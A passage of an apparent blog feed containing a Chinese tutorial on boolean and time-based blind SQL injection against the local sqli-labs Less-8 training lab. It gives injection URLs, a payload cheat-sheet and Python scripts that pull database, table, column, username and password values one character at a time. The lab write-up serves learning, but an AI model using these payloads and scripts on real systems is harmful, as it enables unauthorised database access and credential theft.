&lt;figure class=&quot;highlight&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;http://127.0.0.1/Less-9/?id=1&#39; and (if(ascii(substr(database(),1,1))&amp;gt;100,1,sleep(5))  --+&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;如果当前查询的当前数据库&lt;code&gt;ascii(substr(database()),1,1)&lt;/code&gt;的第一个字符的ASCII码大于100，ture执行&lt;code&gt;select 1&lt;/code&gt;页面正常返回，false执行&lt;code&gt;select sleep(5)&lt;/code&gt;页面沉睡5秒后返回。1和sleep（5）也可以换下位置。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>SQL注入&lt;三&gt;-bool盲注</title>
    <link href="http://yoursite.com/2019/07/27/SQL%E6%B3%A8%E5%85%A5-%E4%B8%89-bool%E7%9B%B2%E6%B3%A8/"/>
    <id>http://yoursite.com/2019/07/27/SQL注入-三-bool盲注/</id>
    <published>2019-07-27T15:42:37.000Z</published>
    <updated>2019-08-14T15:39:27.916Z</updated>
    
    <content type="html"><![CDATA[<h2 id="概论"><a href="#概论" class="headerlink" title="概论"></a>概论</h2><p><strong>盲注</strong>：在不知道数据库返回值的情况下对数据中的内容进行猜测，实施SQL注入。盲注一般分为布尔盲注（Booleanbase）、基于时间的盲注（Timebase）、报错的盲注（Errorbase）。</p><p><strong>布尔型</strong>：页面只返回True和False两种类型页面。利用页面返回不同，逐个猜解数据</p><p><strong>常用函数</strong>：<a id="more"></a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">length(str)：返回str字符串的长度。</span><br><span class="line">substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从<span class="number">1</span>开始的，不是数组的<span class="number">0</span>开始</span><br><span class="line">mid(str,pos,len):同上</span><br><span class="line">ascii(str)：返回字符串str的最左面字符的ASCII代码值。</span><br><span class="line">ord(str):同上，返回ascii码</span><br><span class="line"><span class="keyword">if</span>(a,b,c) :a为条件，a为true，返回b，否则返回c，如<span class="keyword">if</span>(<span class="number">1</span>&gt;<span class="number">2</span>,<span class="number">1</span>,<span class="number">0</span>),返回<span class="number">0</span></span><br><span class="line">sleep(n)：将程序挂起一段时间 n为n秒</span><br></pre></td></tr></table></figure><h2 id="sqli-labs-nbsp-less8"><a href="#sqli-labs-nbsp-less8" class="headerlink" title="sqli-labs&nbsp;less8"></a>sqli-labs&nbsp;less8</h2><p>以sqli平台第八题为例写一下布尔盲注</p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190804150105.png" alt="1"></p><p>进行注入测试</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/sqli-labs-master/Less-8/?id=1</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-8/?id=1'</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-8/?id=1"</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-8/?id=1' --+</span><br></pre></td></tr></table></figure><p>发现id=1’时页面没有返回内容应该就是不正确页面加上注释符后显示正确页面，可以确定单引号存在注入，正确页面显示<code>you are in………..</code>不正确页面没有</p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190804151156.png" alt="2"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190804151207.png" alt="3"></p><p>可以参考下源码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//部分关键源码，源码下载：https://github.com/Audi-1/sqli-labs，可以搭建在本地</span></span><br><span class="line"><span class="comment">//including the Mysql connect parameters.</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">"../sql-connections/sql-connect.php"</span>);</span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="comment">// take the variables</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'id'</span>]))<span class="comment">//GET方式传入id</span></span><br><span class="line">&#123;</span><br><span class="line">$id=$_GET[<span class="string">'id'</span>];</span><br><span class="line"><span class="comment">//logging the connection parameters to a file for analysis.</span></span><br><span class="line">$fp=fopen(<span class="string">'result.txt'</span>,<span class="string">'a'</span>);</span><br><span class="line">fwrite($fp,<span class="string">'ID:'</span>.$id.<span class="string">"\n"</span>);</span><br><span class="line">fclose($fp);</span><br><span class="line"></span><br><span class="line"><span class="comment">// connectivity </span></span><br><span class="line"></span><br><span class="line">$sql=<span class="string">"SELECT * FROM users WHERE id='$id' LIMIT 0,1"</span>;</span><br><span class="line">$result=mysql_query($sql);</span><br><span class="line">$row = mysql_fetch_array($result);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($row)<span class="comment">//查到数据执行如下</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">'&lt;font size="5" color="#FFFF00"&gt;'</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">'You are in...........'</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"&lt;/font&gt;"</span>;</span><br><span class="line">  &#125;</span><br><span class="line"><span class="keyword">else</span> <span class="comment">//否则执行如下从两者返回的网页结构不一样，可以作为我们盲注条件判断的依据</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;font size="5" color="#FFFF00"&gt;'</span>;</span><br><span class="line"><span class="comment">//源码中注释了报错信息，所以不能用报错注入</span></span><br><span class="line"><span class="comment">//echo 'You are in...........';</span></span><br><span class="line"><span class="comment">//print_r(mysql_error());</span></span><br><span class="line"><span class="comment">//echo "You have an error in your SQL syntax";</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"&lt;/br&gt;&lt;/font&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;font color= "#0000ff" font size= 3&gt;'</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123; <span class="keyword">echo</span> <span class="string">"Please input the ID as parameter with numeric value"</span>;&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>看出之前的测试结果正确</p><p><strong>判断数据库长度</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())&gt;1 --+</span><br><span class="line">http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())&gt;2 --+</span><br><span class="line">以此类推...</span><br></pre></td></tr></table></figure><p>发现值为8时页面没有显示，说明database()的长度是8</p><p><strong>爆数据库名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?id=2' and ascii(substr(database(),1,1))&gt;99 --+或</span><br><span class="line">?id=2' and ascii(substr(database(),1,1))=99 <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>原理就是依次取出数据库名中的一个字符通过比较ASCII码值来判断猜出数据库名，这样就不能一个一个试了，需要写脚本，现在脚本不会写就借鉴大佬的了。<a href="https://blog.csdn.net/weixin_40709439/article/details/81355856" target="_blank" rel="noopener">爆数据库长度和数据库名python脚本</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">database_len</span><span class="params">()</span>:</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">10</span>):</span><br><span class="line">url = <span class="string">'''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''</span></span><br><span class="line">payload = <span class="string">'''?id=1' and length(database())&gt;%s'''</span> %i</span><br><span class="line"><span class="comment"># print(url+payload+'%23')</span></span><br><span class="line">r = requests.get(url+payload+<span class="string">'%23'</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="string">'You are in'</span> <span class="keyword">in</span> r.text:</span><br><span class="line">print(i)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="comment">#print('false')</span></span><br><span class="line">print(<span class="string">'database_length:'</span>,i)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">database_len()</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">database_name</span><span class="params">()</span>:</span></span><br><span class="line">name = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">9</span>): //数据库长度为<span class="number">8</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">'sqcwertyuioplkjhgfdazxvbnm'</span>:</span><br><span class="line">url = <span class="string">"http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'"</span> %(j,i)</span><br><span class="line"><span class="comment"># print(url+'%23')</span></span><br><span class="line">r = requests.get(url+<span class="string">'%23'</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="string">'You are in'</span> <span class="keyword">in</span> r.text:</span><br><span class="line">name = name+i</span><br><span class="line"></span><br><span class="line">print(name)</span><br><span class="line"></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">print(<span class="string">'database_name:'</span>,name)</span><br><span class="line"></span><br><span class="line">database_name()</span><br></pre></td></tr></table></figure><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190804161716.png" alt="4"></p><p>得到数据库名<code>security</code></p><p><strong>爆表名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and (ascii(substr((<span class="keyword">select</span> table_name <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema=<span class="keyword">database</span>() <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>)))&gt;<span class="number">96</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>原理和报数据库名是一样的，知识把database()换成了查表名语句，脚本把上面修改一下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">table_name</span><span class="params">()</span>:</span></span><br><span class="line">name = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">9</span>):</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">'sqcwertyuioplkjhgfdazxvbnm'</span>:</span><br><span class="line">url = <span class="string">"http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')"</span> %(j,i)</span><br><span class="line"><span class="comment"># print(url+'%23')</span></span><br><span class="line">r = requests.get(url+<span class="string">'%23'</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="string">'You are in'</span> <span class="keyword">in</span> r.text:</span><br><span class="line">name = name+i</span><br><span class="line"></span><br><span class="line">print(name)</span><br><span class="line"></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">print(<span class="string">'table_name:'</span>,name)</span><br><span class="line"></span><br><span class="line">table_name()</span><br></pre></td></tr></table></figure><p>修改<code>limit 0,1</code>，分别改成<code>limit 1,1</code>、<code>limit 1,1</code>、<code>limit 2,1</code>、<code>limit 3,1</code>，可以得到四个表名<code>emails</code>、<code>referers</code>、<code>uagents</code>、<code>users</code></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190804175035.png" alt="5"></p><p><strong>爆列名</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and ascii(substr((<span class="keyword">select</span> column_name <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_name=<span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))&gt;<span class="number">116</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>表应该是users了，脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">column_name</span><span class="params">()</span>:</span></span><br><span class="line">name = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">9</span>):</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">'sqcwertyuioplkjhgfdazxvbnm'</span>:</span><br><span class="line">url = <span class="string">"http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')"</span> %(j,i)</span><br><span class="line"><span class="comment"># print(url+'%23')</span></span><br><span class="line">r = requests.get(url+<span class="string">'%23'</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="string">'You are in'</span> <span class="keyword">in</span> r.text:</span><br><span class="line">name = name+i</span><br><span class="line"></span><br><span class="line">print(name)</span><br><span class="line"></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">print(<span class="string">'column_name:'</span>,name)</span><br><span class="line"></span><br><span class="line">column_name()</span><br></pre></td></tr></table></figure><p>同理修改<code>limit 0,1</code>，可以得到三个列名<code>id</code>、<code>username</code>、<code>password</code></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190804181424.png" alt="6"></p><p><strong>爆数据</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=1' and ascii(substr((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> <span class="keyword">users</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>)) &gt; <span class="number">96</span></span><br></pre></td></tr></table></figure><p>脚本，<a href="https://www.jianshu.com/p/5989d0dfa227" target="_blank" rel="noopener">源脚本</a></p><p>注：原脚本中<code>u.content</code>在python3中好像不能用要改成<code>u.text</code>。因为python3中text返回的是Unicode型的数据 ，content返回的是是二进制的数据，也就是说，如果你想取文本，可以通过u.text，如果想取图片、文件，则可以通过u.content</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf8 -*-</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">list1 = [<span class="string">'a'</span>, <span class="string">'b'</span>, <span class="string">'c'</span>, <span class="string">'d'</span>, <span class="string">'e'</span>, <span class="string">'f'</span>, <span class="string">'g'</span>, <span class="string">'h'</span>, <span class="string">'i'</span>, <span class="string">'j'</span>, <span class="string">'k'</span>, <span class="string">'l'</span>, <span class="string">'m'</span>, <span class="string">'n'</span>, <span class="string">'o'</span>, <span class="string">'p'</span>, <span class="string">'q'</span>, <span class="string">'r'</span>, <span class="string">'s'</span>, <span class="string">'t'</span>, <span class="string">'u'</span>, <span class="string">'v'</span>, <span class="string">'w'</span>, <span class="string">'x'</span>, <span class="string">'y'</span>, <span class="string">'z'</span>, <span class="string">'@'</span>, <span class="string">'1'</span>, <span class="string">'2'</span>, <span class="string">'3'</span>, <span class="string">'4'</span>, <span class="string">'5'</span>, <span class="string">'6'</span>, <span class="string">'7'</span>, <span class="string">'8'</span>, <span class="string">'9'</span>, <span class="string">'0'</span>, <span class="string">'!'</span>, <span class="string">'-'</span>, <span class="string">'|'</span>, <span class="string">'_'</span>, <span class="string">'A'</span>, <span class="string">'B'</span>, <span class="string">'C'</span>, <span class="string">'D'</span>, <span class="string">'E'</span>, <span class="string">'F'</span>, <span class="string">'G'</span>, <span class="string">'H'</span>, <span class="string">'I'</span>, <span class="string">'J'</span>, <span class="string">'K'</span>, <span class="string">'L'</span>, <span class="string">'M'</span>, <span class="string">'N'</span>, <span class="string">'O'</span>, <span class="string">'P'</span>, <span class="string">'Q'</span>, <span class="string">'R'</span>, <span class="string">'S'</span>, <span class="string">'T'</span>, <span class="string">'U'</span>, <span class="string">'V'</span>, <span class="string">'W'</span>, <span class="string">'X'</span>, <span class="string">'Y'</span>, <span class="string">'Z'</span>, <span class="string">'.'</span>]  <span class="comment"># 字典</span></span><br><span class="line">url = <span class="string">'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'</span></span><br><span class="line">payload = <span class="string">'%20and%20left((select%20username%20from%20users%20where%20id%20=&#123;n&#125;),&#123;w&#125;)=%27&#123;d&#125;%27%20--%20k'</span></span><br><span class="line">str1 = <span class="string">'You are in...........'</span></span><br><span class="line">username = [<span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>]</span><br><span class="line">password = [<span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="string">''</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>, <span class="number">15</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>, <span class="number">11</span>):</span><br><span class="line">       <span class="keyword">for</span> l <span class="keyword">in</span> list1:</span><br><span class="line">            p = payload.format(n=i, w=j, d=username[i<span class="number">-1</span>]+l)</span><br><span class="line">            u = requests.get(url+p)</span><br><span class="line">            <span class="keyword">if</span> str1 <span class="keyword">in</span> u.text:</span><br><span class="line">                username[i<span class="number">-1</span>] += l</span><br><span class="line">                <span class="keyword">print</span> (<span class="string">u'正在对比第'</span>, i, <span class="string">u'个记录的username的第'</span>, j, <span class="string">u'个字符'</span>, username[i<span class="number">-1</span>])</span><br><span class="line">payload2 = <span class="string">'%20and%20left((select%20password%20from%20users%20where%20id%20=&#123;n&#125;),&#123;w&#125;)=%27&#123;d&#125;%27%20--%20k'</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>, <span class="number">15</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>, <span class="number">11</span>):</span><br><span class="line">        <span class="keyword">for</span> l <span class="keyword">in</span> list1:</span><br><span class="line">            p = payload2.format(n=i, w=j, d=password[i<span class="number">-1</span>]+l)</span><br><span class="line">            u = requests.get(url+p)</span><br><span class="line">            <span class="keyword">if</span> str1 <span class="keyword">in</span> u.text:</span><br><span class="line">                password[i<span class="number">-1</span>] += l</span><br><span class="line">                <span class="keyword">print</span> (<span class="string">u'正在对比第'</span>, i, <span class="string">u'个记录的password的第'</span>, j, <span class="string">u'个字符'</span>, password[i<span class="number">-1</span>])</span><br><span class="line"><span class="keyword">print</span> (<span class="string">'id    username    password'</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>, <span class="number">15</span>):</span><br><span class="line">    <span class="keyword">print</span> (i, <span class="string">'-'</span>, username[i<span class="number">-1</span>], <span class="string">'-'</span>, password[i<span class="number">-1</span>])</span><br></pre></td></tr></table></figure><p>最后在网速好的时候跑这个脚本</p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190805213103.png" alt="7"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190805213230.png" alt="8"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190805213311.png" alt="9"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190805213447.png" alt="10"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190805213501.png" alt="11"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>查询数据库的长度</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and length(database())&gt;1 --+</span><br></pre></td></tr></table></figure><p>查询数据库名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and ascii(substr((<span class="keyword">select</span> <span class="keyword">database</span>()),<span class="number">1</span>,<span class="number">1</span>))&gt;<span class="number">99</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>查询表名的长度</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (<span class="keyword">select</span>(<span class="keyword">length</span>(table_name)) <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema = <span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>)&gt;<span class="number">1</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>查询表名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and ascii(substr((<span class="keyword">select</span> table_name <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema=<span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">1</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))&gt;<span class="number">116</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>查询列名的长度</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (<span class="keyword">select</span>(<span class="keyword">length</span>(column_name)) <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_name = <span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>)&gt;<span class="number">1</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>查询列名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and ascii(substr((<span class="keyword">select</span> column_name <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_name=<span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))&gt;<span class="number">116</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>查询字段的长度</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (<span class="keyword">select</span> <span class="keyword">length</span>(column_name) <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_name=<span class="string">'users'</span> <span class="keyword">limit</span> <span class="number">1</span>,<span class="number">1</span>)&gt;<span class="number">10</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><p>爆字段</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and ascii(substr((<span class="keyword">select</span> <span class="keyword">user</span> <span class="keyword">from</span> <span class="keyword">users</span> <span class="keyword">limit</span> <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>))&gt;<span class="number">96</span> <span class="comment">--+</span></span><br></pre></td></tr></table></figure><h2 id="附后台数据库"><a href="#附后台数据库" class="headerlink" title="附后台数据库"></a>附后台数据库</h2><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190806153015.png" alt="12"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190806153106.png" alt="13"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190806153237.png" alt="14"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190806153253.png" alt="15"></p><p><img src="/2019/07/27/SQL注入-三-bool盲注/QQ截图20190806153305.png" alt="16"></p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;概论&quot;&gt;&lt;a href=&quot;#概论&quot; class=&quot;headerlink&quot; title=&quot;概论&quot;&gt;&lt;/a&gt;概论&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;盲注&lt;/strong&gt;：在不知道数据库返回值的情况下对数据中的内容进行猜测，实施SQL注入。盲注一般分为布尔盲注（Booleanbase）、基于时间的盲注（Timebase）、报错的盲注（Errorbase）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;布尔型&lt;/strong&gt;：页面只返回True和False两种类型页面。利用页面返回不同，逐个猜解数据&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;常用函数&lt;/strong&gt;：&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>MISC-二维码图片</title>
    <link href="http://yoursite.com/2019/07/26/MISC-%E4%BA%8C%E7%BB%B4%E7%A0%81%E5%9B%BE%E7%89%87/"/>
    <id>http://yoursite.com/2019/07/26/MISC-二维码图片/</id>
    <published>2019-07-26T05:41:59.000Z</published>
    <updated>2019-08-06T07:36:49.997Z</updated>
    
